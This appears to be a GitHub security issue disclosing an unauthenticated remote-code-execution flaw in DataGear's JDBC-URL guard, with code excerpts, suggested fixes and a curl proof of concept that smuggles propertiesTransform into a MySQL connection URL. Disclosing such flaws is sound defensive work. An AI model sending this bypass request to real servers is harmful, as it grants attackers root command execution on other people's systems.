Skip to content

[Vulnerability] Arbitrary Command Execution due incomplete JDBC-URL guard #38

Description

@Leeziao

DataGear is vulnerable to unauthenticated RCE through POST /dtbsSource/testConnection. The vendor added a JDBC-URL guard to block allowLoadLocalInfile, but the guard misses the propertiesTransform class-loading key when it is placed in the URL query string. MySQL Connector/J instantiates the attacker-named class before opening any database socket, executing arbitrary OS commands on the server.

Details

Default settings in application.properties:66 (disableAnonymous=false) and :137 (defaultRole.anonymous=ROLE_DATA_ANALYST) let anonymous users reach /dtbsSource/testConnection. DtbsSourceGuardChecker.java:61-82 defaults permitted = true and returns true when no guard rule matches. DtbsSourceGuardChecker.java:102-120 returns false from isPropertiesMatched when guardEntity.getProperties() is empty, so a rule that targets structured properties never matches a key supplied only in the URL query string. The shipped rules only cover allowLoadLocalInfile*. DtbsSourceConnectionSupport.java:86-97 then passes the URL to connectionSource.getConnection(...), which calls driver.connect(url, props). MySQL Connector/J parses propertiesTransform=<class> during URL parsing and invokes Class.forName(<class>).newInstance() pre-connect.

// DtbsSourceGuardChecker.java:61-82
public boolean isPermitted(List<DtbsSourceGuard> dtbsSourceGuards, GuardEntity guardEntity)
{
    boolean permitted = true;          // default permit
    ...
    return permitted;                  // true if no rule matched
}

PoC

Start the full-application Docker environment:

NORMAL — canonical guarded key is blocked:

curl -s -w '\nHTTP %{http_code}\n' -X POST "http://127.0.0.1:28099/dtbsSource/testConnection" \
  -H 'Content-Type: application/json' \
  -d '{"title":"blocked","url":"jdbc:mysql://127.0.0.1:1/db?allowLoadLocalInfile=true","user":"root","password":""}'

Response:

{"type":"FAIL","code":"error.SaveDtbsSourcePermissionDeniedException","message":"没有权限创建此数据源","throwableDetail":false,"success":false,"fail":true}
HTTP 400

VULNERABLE — propertiesTransform bypasses the guard:

curl -s -w '\nHTTP %{http_code}\n' -X POST "http://127.0.0.1:28099/dtbsSource/testConnection" \
  -H 'Content-Type: application/json' \
  -d '{"title":"poc","url":"jdbc:mysql://127.0.0.1:1/db?propertiesTransform=Sentinel\u0026connectTimeout=1500","user":"root","password":""}'

Response:

{"type":"FAIL","code":"error.EstablishConnectionException","message":"数据源连接出错,请检查数据源设置是否有误:connect timed out","throwableDetail":false,"success":false,"fail":true}
HTTP 400

Verify execution inside the container:

docker exec datagear-fullapp-poc cat /tmp/DATAGEAR_PWN_123c48ebff48bb94

Output:

uid=0(root) gid=0(root) groups=0(root)
MARK=123c48ebff48bb94

The timeout error occurs after the marker file is written, proving class loading happened before the network connection was attempted.

Image

Impact

An unauthenticated attacker can execute arbitrary OS commands as the DataGear server user. In the default Docker image this is root. Only a single HTTP request is required.

Suggested Fix

Replace the blocklist with an allowlist of safe JDBC properties, include class-loading keys such as propertiesTransform and socketFactory in the guard match scope, and require authentication for /dtbsSource/testConnection.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions